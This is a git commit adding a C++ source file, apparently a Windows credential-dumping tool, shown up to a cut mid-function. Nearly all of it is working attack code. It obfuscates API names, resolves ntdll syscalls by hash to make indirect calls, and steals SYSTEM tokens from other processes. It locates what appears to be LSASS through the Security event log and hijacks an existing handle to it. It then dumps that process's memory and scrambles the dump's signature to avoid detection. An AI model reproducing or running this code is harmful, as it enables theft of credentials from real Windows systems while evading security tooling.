Upload files to "src"

This commit is contained in:
meowmycks 2025-02-08 10:42:49 -05:00
parent bd45ba1da7
commit 52068d5f60
2 changed files with 922 additions and 0 deletions

822
src/main.cpp Normal file
View File

@ -0,0 +1,822 @@
#include "headers/includes.h"
#define WIN32_LEAN_AND_MEAN
#define IsProcessSnapshotCallback 16
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define NtCurrentThread() ((HANDLE)(LONG_PTR)-2)
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS 0x00000000
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_BUFFER_TOO_SMALL 0xC0000023
#define STATUS_ACCESS_DENIED 0xC0000022
#define STATUS_NOT_SUPPORTED 0xC00000BB
typedef LONG NTSTATUS;
std::vector<SYSCALL_ENTRY> syscallTable;
SIZE_T dumpBufferSize;
LPVOID dumpBuffer;
DWORD bytesRead = 0;
constexpr int ISQtN[] = { 81, 117, 101, 114, 121, 83, 121, 115, 116, 101, 109, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110};
constexpr int TPOtN[] = { 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115, 84, 111, 107, 101, 110 };
constexpr int TPAtN[] = { 65, 100, 106, 117, 115, 116, 80, 114, 105, 118, 105, 108, 101, 103, 101, 115, 84, 111, 107, 101, 110 };
constexpr int CtN[] = { 67, 108, 111, 115, 101 };
constexpr int TIQtN[] = { 81, 117, 101, 114, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 84, 111, 107, 101, 110 };
constexpr int POtN[] = { 79, 112, 101, 110, 80, 114, 111, 99, 101, 115, 115 };
constexpr int TDtN[] = { 68, 117, 112, 108, 105, 99, 97, 116, 101, 84, 111, 107, 101, 110 };
constexpr int ODtN[] = { 68, 117, 112, 108, 105, 99, 97, 116, 101, 79, 98, 106, 101, 99, 116 };
constexpr int OQtN[] = { 81, 117, 101, 114, 121, 79, 98, 106, 101, 99, 116 };
constexpr int TIStN[] = { 83, 101, 116, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 84, 104, 114, 101, 97, 100 };
BOOL CALLBACK minidumpCallback(
IN PVOID callbackParam,
IN const PMINIDUMP_CALLBACK_INPUT callbackInput,
IN OUT PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IsProcessSnapshotCallback:
callbackOutput->Status = S_FALSE;
break;
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
if ((bytesRead <= dumpBufferSize) && (destination != NULL)) {
RtlCopyMemory(destination, source, bufferSize);
}
else {
callbackOutput->Status = S_FALSE;
}
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return TRUE;
}
return TRUE;
}
void RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString) {
if (SourceString == nullptr) {
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
DestinationString->Buffer = nullptr;
}
else {
size_t size = wcslen(SourceString) * sizeof(WCHAR);
DestinationString->Length = static_cast<USHORT>(size);
DestinationString->MaximumLength = static_cast<USHORT>(size + sizeof(WCHAR));
DestinationString->Buffer = const_cast<PWSTR>(SourceString);
}
}
void InitializeObjectAttributes(
POBJECT_ATTRIBUTES p,
PUNICODE_STRING n,
ULONG a,
HANDLE r,
PVOID s
) {
p->Length = sizeof(OBJECT_ATTRIBUTES);
p->RootDirectory = r;
p->Attributes = a;
p->ObjectName = n;
p->SecurityDescriptor = s;
p->SecurityQualityOfService = nullptr;
}
std::wstring GetLastErrorMessage() {
DWORD errorCode = GetLastError();
LPWSTR errorMessage = nullptr;
FormatMessageW(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
nullptr, errorCode, 0,
reinterpret_cast<LPWSTR>(&errorMessage), 0, nullptr);
if (errorMessage != nullptr) {
std::wstring errorMsg(errorMessage);
LocalFree(errorMessage);
return errorMsg;
}
else {
return L"Failed to retrieve error message.";
}
}
template<typename StringType, size_t N>
StringType unASCIIme(const int(&ascii_values)[N]) {
StringType result;
result += static_cast<typename StringType::value_type>(78);
result += static_cast<typename StringType::value_type>(116);
for (size_t i = 0; i < N; ++i)
result += static_cast<typename StringType::value_type>(ascii_values[i]);
return result;
}
constexpr unsigned int numRNG() {
const char* timeStr = __TIME__;
unsigned int hash = '0' * -40271 +
__TIME__[7] * 1 +
__TIME__[6] * 10 +
__TIME__[4] * 60 +
__TIME__[3] * 600 +
__TIME__[1] * 3600 +
__TIME__[0] * 36000;
for (int i = 0; timeStr[i] != '\0'; ++i)
hash = 31 * hash + timeStr[i];
return hash;
}
constexpr unsigned long DJB2me(const char* str) {
unsigned long hash = numRNG();
while (int c = *str++) {
hash = ((hash << 7) + hash) + c;
}
return hash;
}
PPEB GetPEB() {
DWORD64 offset1 = 0x30;
DWORD64 offset2 = 0x20;
DWORD64 offset3 = 0x10;
PPEB peb = reinterpret_cast<PPEB>(__readgsqword(offset1 + offset2 + offset3));
return peb;
}
PVOID GetModuleBaseAddress(const wchar_t* moduleName) {
PPEB peb = GetPEB();
PLIST_ENTRY moduleList = &peb->Ldr->InLoadOrderModuleList;
for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
PLDR_DATA_TABLE_ENTRY module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (wcscmp(module->BaseDllName.Buffer, moduleName) == 0) {
return module->DllBase;
}
}
return nullptr;
}
int Partition(std::vector<SYSCALL_ENTRY>& arr, int low, int high) {
auto pivot = arr[high];
int i = (low - 1);
for (int j = low; j < high; j++) {
if (arr[j].Address < pivot.Address) {
i++;
std::swap(arr[i], arr[j]);
}
}
std::swap(arr[i + 1], arr[high]);
return (i + 1);
}
void QuickSort(std::vector<SYSCALL_ENTRY>& arr, int low, int high) {
if (low < high) {
int pi = Partition(arr, low, high);
QuickSort(arr, low, pi - 1);
QuickSort(arr, pi + 1, high);
}
}
void ParseEAT() {
const wchar_t lldlldtn[] = { L'n', L't', L'd', L'l', L'l', L'.', L'd', L'l', L'l', L'\0' };
HMODULE hNtdll = reinterpret_cast<HMODULE>(GetModuleBaseAddress((LPCWSTR)lldlldtn));
PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(hNtdll);
PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<BYTE*>(hNtdll) + pDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(reinterpret_cast<BYTE*>(hNtdll) + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD pFunctions = reinterpret_cast<PDWORD>(reinterpret_cast<BYTE*>(hNtdll) + pExportDir->AddressOfFunctions);
PDWORD pNames = reinterpret_cast<PDWORD>(reinterpret_cast<BYTE*>(hNtdll) + pExportDir->AddressOfNames);
PWORD pNameOrdinals = reinterpret_cast<PWORD>(reinterpret_cast<BYTE*>(hNtdll) + pExportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
PCHAR pFunctionName = reinterpret_cast<PCHAR>(reinterpret_cast<BYTE*>(hNtdll) + pNames[i]);
if (strncmp(pFunctionName, "Zw", 2) == 0) {
SYSCALL_ENTRY entry;
DWORD functionRVA = pFunctions[pNameOrdinals[i]];
entry.Address = reinterpret_cast<PVOID>(reinterpret_cast<BYTE*>(hNtdll) + functionRVA);
entry.Hash = DJB2me(("Nt" + std::string(pFunctionName + 2)).c_str());
syscallTable.push_back(entry);
}
}
QuickSort(syscallTable, 0, syscallTable.size() - 1);
for (SIZE_T i = 0; i < syscallTable.size(); i++)
syscallTable[i].Address = EncodePointer(syscallTable[i].Address);
}
template<typename ReturnType>
ReturnType GetVal(std::string funcName) {
for (SIZE_T i = 0; i < syscallTable.size(); ++i)
if (syscallTable[i].Hash == DJB2me(funcName.c_str()))
if constexpr (std::is_same_v<ReturnType, int>) return static_cast<ReturnType>(i);
else if constexpr (std::is_same_v<ReturnType, PVOID>) return DecodePointer(syscallTable[i].Address);
else static_assert(std::is_same_v<ReturnType, int> || std::is_same_v<ReturnType, PVOID>, "Invalid Type");
return ReturnType{ 0 };
}
uintptr_t GetOffset(std::string funcName) noexcept {
INT64 offset = 0;
BYTE signature[] = { 0x0F, 0x05, 0xC3 };
uintptr_t pFunc = reinterpret_cast<uintptr_t>(GetVal<PVOID>(funcName));
PIMAGE_DOS_HEADER pDosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(pFunc);
PIMAGE_NT_HEADERS pNtHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>(reinterpret_cast<BYTE*>(pFunc) + pDosHeader->e_lfanew);
INT64 pSize = (pNtHeaders->OptionalHeader.SizeOfImage);
BYTE* currentbytes = (BYTE*)pFunc;
for (;;)
{
if (*(reinterpret_cast<BYTE*>(currentbytes)) == signature[0] &&
*(reinterpret_cast<BYTE*>(currentbytes + 1)) == signature[1] &&
*(reinterpret_cast<BYTE*>(currentbytes + 2)) == signature[2])
{
return pFunc + offset;
}
offset++;
if (offset + 3 > pSize)
return INFINITE;
currentbytes = reinterpret_cast<BYTE*>(pFunc + offset);
}
}
void Gluttony() {
DWORD status = ERROR_SUCCESS;
REGHANDLE RegistrationHandle = NULL;
const GUID ProviderGuid = { 0x230d3ce1, 0xbccc, 0x124e, {0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4} };
int count = 0;
while (status = EventRegister(&ProviderGuid, NULL, NULL, &RegistrationHandle) == ERROR_SUCCESS) {
count++;
}
printf("%d\n", count);
}
BOOL YouMustBeThisTallToRide() {
BOOL fIsElevated = FALSE;
HANDLE hToken = NULL;
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
if (hToken) CloseHandle(hToken);
return FALSE;
}
if (!GetTokenInformation(hToken, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
if (hToken) CloseHandle(hToken);
return FALSE;
}
fIsElevated = elevation.TokenIsElevated;
}
BOOL GetPromoted(HANDLE hToken) {
const uintptr_t jmpNtDT = GetOffset(unASCIIme<std::string>(TDtN));
const uintptr_t jmpNtSIT = GetOffset(unASCIIme<std::string>(TIStN));
const int NtDT = GetVal<int>(unASCIIme<std::string>(TDtN));
const int NtSIT = GetVal<int>(unASCIIme<std::string>(TIStN));
HANDLE hCurrent = NtCurrentThread();
HANDLE hDuplicate = nullptr;
NTSTATUS status = STATUS_SUCCESS;
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
SECURITY_QUALITY_OF_SERVICE Qos;
Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
Qos.ImpersonationLevel = SecurityImpersonation;
Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
Qos.EffectiveOnly = FALSE;
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = NULL;
ObjectAttributes.ObjectName = NULL;
ObjectAttributes.Attributes = 0;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = &Qos;
SetJumpAddress(jmpNtDT);
status = NtDuplicateToken(hToken, TOKEN_ALL_ACCESS, &ObjectAttributes, FALSE, TokenImpersonation, &hDuplicate, NtDT);
SetJumpAddress(jmpNtSIT);
status = NtSetInformationThread(hCurrent, ThreadImpersonationToken, &hDuplicate, sizeof(HANDLE), NtSIT);
return NT_SUCCESS(status);
}
BOOL GetDemoted() {
const uintptr_t jmpNtSIT = GetOffset(unASCIIme<std::string>(TIStN));
const int NtSIT = GetVal<int>(unASCIIme<std::string>(TIStN));
HANDLE hCurrent = NtCurrentThread();
HANDLE hNull = nullptr;
NTSTATUS status = STATUS_SUCCESS;
SetJumpAddress(jmpNtSIT);
status = NtSetInformationThread(hCurrent, ThreadImpersonationToken, &hNull, sizeof(HANDLE), NtSIT);
return NT_SUCCESS(status);
}
BOOL LetMeDoStuff(HANDLE hToken, LUID luid, BOOL bLetMeDoTheThing) {
NTSTATUS status = STATUS_SUCCESS;
TOKEN_PRIVILEGES priv = { 0 };
const uintptr_t jmpNtAPT = GetOffset(unASCIIme<std::string>(TPAtN));
const uintptr_t jmpNtC = GetOffset(unASCIIme<std::string>(CtN));
const int NtAPT = GetVal<int>(unASCIIme<std::string>(TPAtN));
const int NtC = GetVal<int>(unASCIIme<std::string>(CtN));
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = bLetMeDoTheThing ? SE_PRIVILEGE_ENABLED : SE_PRIVILEGE_REMOVED;
SetJumpAddress(jmpNtAPT);
status = NtAdjustPrivilegesToken(hToken, FALSE, &priv, 0, NULL, NULL, NtAPT);
if (!NT_SUCCESS(status)) {
return FALSE;
}
return TRUE;
}
PSYSTEM_PROCESS_INFORMATION GetSysProcInfo() {
NTSTATUS status = STATUS_SUCCESS;
PVOID buffer = nullptr;
ULONG bufferSize = 0;
const uintptr_t jmpNtQSI = GetOffset(unASCIIme<std::string>(ISQtN));
const int NtQSI = GetVal<int>(unASCIIme<std::string>(ISQtN));
SetJumpAddress(jmpNtQSI);
status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, &bufferSize, NtQSI);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
if (buffer) free(buffer);
buffer = malloc(bufferSize);
if (!buffer) {
return nullptr;
}
SetJumpAddress(jmpNtQSI);
status = NtQuerySystemInformation(SystemProcessInformation, buffer, bufferSize, &bufferSize, NtQSI);
}
if (!NT_SUCCESS(status)) {
if (buffer) free(buffer);
return nullptr;
}
return (PSYSTEM_PROCESS_INFORMATION)buffer;
}
DWORD WeHaveTheChatLogsHere(void) {
EVT_HANDLE hResults = NULL, hContext = NULL, hEvent = NULL;
DWORD dwProcessId = 0;
do {
hResults = EvtQuery(NULL, L"Security", L"*[System[EventID=4608]]", EvtQueryChannelPath | EvtQueryTolerateQueryErrors);
if (!hResults) {
wprintf(L"EvtQuery failed: %s\n", GetLastErrorMessage());
break;
}
if (!EvtSeek(hResults, 0, NULL, 0, EvtSeekRelativeToLast)) {
wprintf(L"EvtSeek failed: %s\n", GetLastErrorMessage());
break;
}
DWORD dwReturned = 0;
if (!EvtNext(hResults, 1, &hEvent, INFINITE, 0, &dwReturned) || dwReturned != 1) {
wprintf(L"EvtNext failed: %s\n", GetLastErrorMessage());
break;
}
LPCWSTR ppValues[] = { L"Event/System/Execution/@ProcessID" };
hContext = EvtCreateRenderContext(1, ppValues, EvtRenderContextValues);
if (!hContext) {
wprintf(L"EvtCreateRenderContext failed: %s\n", GetLastErrorMessage());
break;
}
EVT_VARIANT pProcessId = { 0 };
if (!EvtRender(hContext, hEvent, EvtRenderEventValues, sizeof(EVT_VARIANT), &pProcessId, &dwReturned, NULL)) {
wprintf(L"EvtRender failed: %s\n", GetLastErrorMessage());
break;
}
dwProcessId = pProcessId.UInt32Val;
} while (FALSE);
if (hEvent) EvtClose(hEvent);
if (hContext) EvtClose(hContext);
if (hResults) EvtClose(hResults);
return dwProcessId;
}
BOOL IsSystemProcess(HANDLE hToken) {
BOOL isSystem = FALSE;
NTSTATUS status = STATUS_SUCCESS;
PTOKEN_USER pTokenUser = nullptr;
ULONG pTokenUserSize = sizeof(PTOKEN_USER);
pTokenUser = (PTOKEN_USER)malloc(pTokenUserSize);
const uintptr_t jmpNtQIT = GetOffset(unASCIIme<std::string>(TIQtN));
const int NtQIT = GetVal<int>(unASCIIme<std::string>(TIQtN));
SetJumpAddress(jmpNtQIT);
status = NtQueryInformationToken(hToken, TokenUser, pTokenUser, pTokenUserSize, &pTokenUserSize, NtQIT);
while (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_INFO_LENGTH_MISMATCH) {
if (pTokenUser) free(pTokenUser);
pTokenUser = (PTOKEN_USER)malloc(pTokenUserSize);
if (!pTokenUser) {
return FALSE;
}
SetJumpAddress(jmpNtQIT);
status = NtQueryInformationToken(hToken, TokenUser, pTokenUser, pTokenUserSize, &pTokenUserSize, NtQIT);
}
if (!NT_SUCCESS(status)) {
if (pTokenUser) free(pTokenUser);
return FALSE;
}
PSID pSystemSid;
ConvertStringSidToSid(L"S-1-5-18", &pSystemSid);
isSystem = EqualSid(pTokenUser->User.Sid, pSystemSid);
free(pTokenUser);
LocalFree(pSystemSid);
return isSystem;
}
HANDLE FindersKeepers(LUID luid = { 0,0 }) {
PSYSTEM_PROCESS_INFORMATION sysProcInfo = GetSysProcInfo();
std::wstring blacklist[] = { L"winlogon.exe", L"csrss.exe", L"svchost.exe", L"lsass.exe", L"spoolsv.exe" , L"LsaIso.exe" };
int blacklistSize = sizeof(blacklist) / sizeof(*blacklist);
NTSTATUS status = STATUS_SUCCESS;
HANDLE hProcess = nullptr;
HANDLE hToken = nullptr;
HANDLE hDuplicate = nullptr;
const uintptr_t jmpNtOP = GetOffset(unASCIIme<std::string>(POtN));
const uintptr_t jmpNtOPT = GetOffset(unASCIIme<std::string>(TPOtN));
const uintptr_t jmpNtDT = GetOffset(unASCIIme<std::string>(TDtN));
const uintptr_t jmpNtC = GetOffset(unASCIIme<std::string>(CtN));
const int NtOP = GetVal<int>(unASCIIme<std::string>(POtN));
const int NtOPT = GetVal<int>(unASCIIme<std::string>(TPOtN));
const int NtDT = GetVal<int>(unASCIIme<std::string>(TDtN));
const int NtC = GetVal<int>(unASCIIme<std::string>(CtN));
HANDLE hCurrent = nullptr;
SetJumpAddress(jmpNtOPT);
status = NtOpenProcessToken(NtCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hCurrent, NtOPT);
if (!NT_SUCCESS(status))
if (status == STATUS_ACCESS_DENIED) {
sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset);
return hCurrent;
}
LetMeDoStuff(hCurrent, luid, TRUE);
SetJumpAddress(jmpNtC);
NtClose(hCurrent, NtC);
do {
if (sysProcInfo->ImageName.Length) {
BOOL isBlacklisted = std::find(blacklist, blacklist + blacklistSize, sysProcInfo->ImageName.Buffer) != blacklist + blacklistSize;
if (!isBlacklisted) {
CLIENT_ID clientId = { (HANDLE)sysProcInfo->UniqueProcessId, 0 };
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
SECURITY_QUALITY_OF_SERVICE Qos;
Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
Qos.ImpersonationLevel = SecurityImpersonation;
Qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
Qos.EffectiveOnly = FALSE;
objAttr.Length = sizeof(OBJECT_ATTRIBUTES);
objAttr.RootDirectory = NULL;
objAttr.ObjectName = NULL;
objAttr.Attributes = 0;
objAttr.SecurityDescriptor = NULL;
objAttr.SecurityQualityOfService = &Qos;
SetJumpAddress(jmpNtOP);
status = NtOpenProcess(&hProcess, PROCESS_QUERY_INFORMATION, &objAttr, &clientId, NtOP);
if (!NT_SUCCESS(status))
if (status == STATUS_ACCESS_DENIED) {
sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset);
continue;
}
SetJumpAddress(jmpNtOPT);
status = NtOpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken, NtOPT);
if (!NT_SUCCESS(status))
if (status == STATUS_ACCESS_DENIED) {
sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset);
continue;
}
if (IsSystemProcess(hToken)) {
SetJumpAddress(jmpNtDT);
status = NtDuplicateToken(hToken, TOKEN_ALL_ACCESS, &objAttr, FALSE, TokenPrimary, &hDuplicate, NtDT);
if (!NT_SUCCESS(status))
if (status == STATUS_ACCESS_DENIED) {
sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset);
continue;
}
SetJumpAddress(jmpNtC);
NtClose(hProcess, NtC);
NtClose(hToken, NtC);
return hDuplicate;
}
else {
SetJumpAddress(jmpNtC);
NtClose(hProcess, NtC);
NtClose(hToken, NtC);
}
}
}
sysProcInfo = (PSYSTEM_PROCESS_INFORMATION)(((LPBYTE)sysProcInfo) + sysProcInfo->NextEntryOffset);
} while (sysProcInfo->NextEntryOffset != 0);
exit(status);
}
SIZE_T FindBufferSize(HANDLE hProcess) {
MEMORY_BASIC_INFORMATION mbi;
SIZE_T totalMemory = 0;
BYTE* p = 0;
while (VirtualQueryEx(hProcess, p, &mbi, sizeof(mbi)) == sizeof(mbi)) {
if (mbi.State == MEM_COMMIT && (
mbi.Protect == PAGE_READONLY ||
mbi.Protect == PAGE_READWRITE ||
mbi.Protect == PAGE_EXECUTE_READ ||
mbi.Protect == PAGE_EXECUTE_READWRITE ||
mbi.Protect == PAGE_WRITECOPY ||
mbi.Protect == PAGE_EXECUTE_WRITECOPY ||
mbi.Protect == PAGE_EXECUTE) &&
!(mbi.Protect & PAGE_GUARD) &&
!(mbi.Protect & PAGE_NOACCESS))
{
totalMemory += mbi.RegionSize;
}
p += mbi.RegionSize;
}
SIZE_T estimatedOverhead = totalMemory * 0.2;
return totalMemory + estimatedOverhead;
}
HANDLE HijackHandle(std::string procName) {
std::wstring wsProcName = std::wstring(procName.begin(), procName.end());
HANDLE hProcess = nullptr;
HANDLE hDuplicate = nullptr;
NTSTATUS status = STATUS_SUCCESS;
int howManyOpenProcessCalls = 0;
int howManyNonProcessHandles = 0;
ULONG handleTableInformationSize = sizeof(PSYSTEM_HANDLE_INFORMATION);
PSYSTEM_HANDLE_INFORMATION handleTableInformation = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInformationSize));
const uintptr_t jmpNtQSI = GetOffset(unASCIIme<std::string>(ISQtN));
const uintptr_t jmpNtOP = GetOffset(unASCIIme<std::string>(POtN));
const uintptr_t jmpNtDO = GetOffset(unASCIIme<std::string>(ODtN));
const uintptr_t jmpNtQO = GetOffset(unASCIIme<std::string>(OQtN));
const uintptr_t jmpNtC = GetOffset(unASCIIme<std::string>(CtN));
const int NtQSI = GetVal<int>(unASCIIme<std::string>(ISQtN));
const int NtOP = GetVal<int>(unASCIIme<std::string>(POtN));
const int NtDO = GetVal<int>(unASCIIme<std::string>(ODtN));
const int NtQO = GetVal<int>(unASCIIme<std::string>(OQtN));
const int NtC = GetVal<int>(unASCIIme<std::string>(CtN));
SetJumpAddress(jmpNtQSI);
status = NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, handleTableInformationSize, &handleTableInformationSize, NtQSI);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
if (handleTableInformation) HeapFree(handleTableInformation, NULL, NULL);
handleTableInformation = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInformationSize));
if (!handleTableInformation) {
return hDuplicate;
}
SetJumpAddress(jmpNtQSI);
status = NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, handleTableInformationSize, &handleTableInformationSize, NtQSI);
}
if (!NT_SUCCESS(status)) {
if (handleTableInformation) HeapFree(handleTableInformation, NULL, NULL);
return hDuplicate;
}
DWORD pid = WeHaveTheChatLogsHere();
for (int i = 0; i < handleTableInformation->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = static_cast<SYSTEM_HANDLE_TABLE_ENTRY_INFO>(handleTableInformation->Handles[i]);
if (!handleInfo.UniqueProcessId == pid || handleInfo.GrantedAccess < PROCESS_VM_READ)
continue;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
clientId.UniqueProcess = reinterpret_cast<HANDLE>(static_cast<ULONG_PTR>(handleInfo.UniqueProcessId));
clientId.UniqueThread = 0;
SetJumpAddress(jmpNtOP);
status = NtOpenProcess(&hProcess, PROCESS_DUP_HANDLE, &objAttr, &clientId, NtOP);
howManyOpenProcessCalls++;
if (NT_SUCCESS(status) && hProcess != nullptr) {
SetJumpAddress(jmpNtDO);
status = NtDuplicateObject(hProcess, reinterpret_cast<HANDLE>(handleInfo.HandleValue), NtCurrentProcess(), &hDuplicate, PROCESS_ALL_ACCESS, 0, 0, NtDO);
if (NT_SUCCESS(status) && hDuplicate != nullptr) {
POBJECT_TYPE_INFORMATION objTypeInfo = NULL;
ULONG objTypeInfoSize = sizeof(POBJECT_TYPE_INFORMATION);
objTypeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeInfoSize));
SetJumpAddress(jmpNtQO);
status = NtQueryObject(hDuplicate, ObjectTypeInformation, objTypeInfo, objTypeInfoSize, &objTypeInfoSize, NtQO);
while (status == STATUS_INFO_LENGTH_MISMATCH) {
if (objTypeInfo) HeapFree(objTypeInfo, NULL, NULL);
objTypeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, objTypeInfoSize));
if (!objTypeInfo) {
return hDuplicate;
}
SetJumpAddress(jmpNtQO);
status = NtQueryObject(hDuplicate, ObjectTypeInformation, objTypeInfo, objTypeInfoSize, &objTypeInfoSize, NtQO);
}
if (!NT_SUCCESS(status)) {
if (handleTableInformation) HeapFree(handleTableInformation, NULL, NULL);
return hDuplicate;
}
if (wcscmp(objTypeInfo->Name.Buffer, L"Process") == 0) {
TCHAR buffer[MAX_PATH];
DWORD bufferSize = MAX_PATH;
if (QueryFullProcessImageName(hDuplicate, 0, buffer, &bufferSize)) {
std::wstring processImagePath(buffer);
if (processImagePath.rfind(wsProcName) != std::wstring::npos) {
SetJumpAddress(jmpNtC);
if (hProcess) NtClose(hProcess, NtC);
return hDuplicate;
}
}
}
else {
howManyNonProcessHandles++;
continue;
}
}
else continue;
}
else continue;
}
SetJumpAddress(jmpNtC);
if (hProcess) NtClose(hProcess, NtC);
if (hDuplicate) NtClose(hDuplicate, NtC);
exit(status);
}
VOID GenerateInvalidSignature(LPVOID dumpBuffer) {
std::srand(numRNG());
unsigned char* pBuffer = static_cast<unsigned char*>(dumpBuffer);
for (int i = 0; i < 8; ++i) {
pBuffer[i] = static_cast<unsigned char>(std::rand() % 256);
}
}
BOOL InvokeMiniDump(HANDLE hProcess) {
BOOL isDumped = FALSE;
dumpBufferSize = FindBufferSize(hProcess);
dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dumpBufferSize);
const wchar_t lldplehgbd[] = { L'D', L'b', L'g', L'h', L'e', L'l', L'p', L'.', L'd', L'l', L'l', L'\0' };
const char dwdm[] = { 'M', 'i', 'n', 'i', 'D', 'u', 'm', 'p', 'W', 'r', 'i', 't', 'e', 'D', 'u', 'm', 'p', '\0' };
typedef BOOL(WINAPI* fMiniDumpWriteDump)(
HANDLE hProcess,
DWORD ProcessId,
HANDLE hFile,
MINIDUMP_TYPE DumpType,
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
fMiniDumpWriteDump miniDumpWriteDump = (fMiniDumpWriteDump)(GetProcAddress(LoadLibrary(lldplehgbd), dwdm));
MINIDUMP_CALLBACK_INFORMATION CallbackInfo;
ZeroMemory(&CallbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
CallbackInfo.CallbackRoutine = &minidumpCallback;
CallbackInfo.CallbackParam = NULL;
HANDLE hSnapshot = nullptr;
PSS_CAPTURE_FLAGS flags = PSS_CAPTURE_VA_CLONE | PSS_CAPTURE_HANDLES | PSS_CAPTURE_HANDLE_NAME_INFORMATION | PSS_CAPTURE_HANDLE_BASIC_INFORMATION | PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION | PSS_CAPTURE_HANDLE_TRACE | PSS_CAPTURE_THREADS | PSS_CAPTURE_THREAD_CONTEXT | PSS_CAPTURE_THREAD_CONTEXT_EXTENDED | PSS_CREATE_BREAKAWAY | PSS_CREATE_BREAKAWAY_OPTIONAL | PSS_CREATE_USE_VM_ALLOCATIONS | PSS_CREATE_RELEASE_SECTION;
PssCaptureSnapshot(hProcess, flags, CONTEXT_ALL, (HPSS*)&hSnapshot);
isDumped = miniDumpWriteDump(hSnapshot, 0, NULL, MiniDumpWithFullMemory, NULL, NULL, &CallbackInfo);
PssFreeSnapshot(NtCurrentProcess(), (HPSS)hSnapshot);
if (isDumped) {
GenerateInvalidSignature(dumpBuffer);
LPCWSTR filePath = L"C:\\temp\\debug.dmp";
DWORD fileAttributes = GetFileAttributesW(L"C:\\temp");
if (fileAttributes == INVALID_FILE_ATTRIBUTES) {
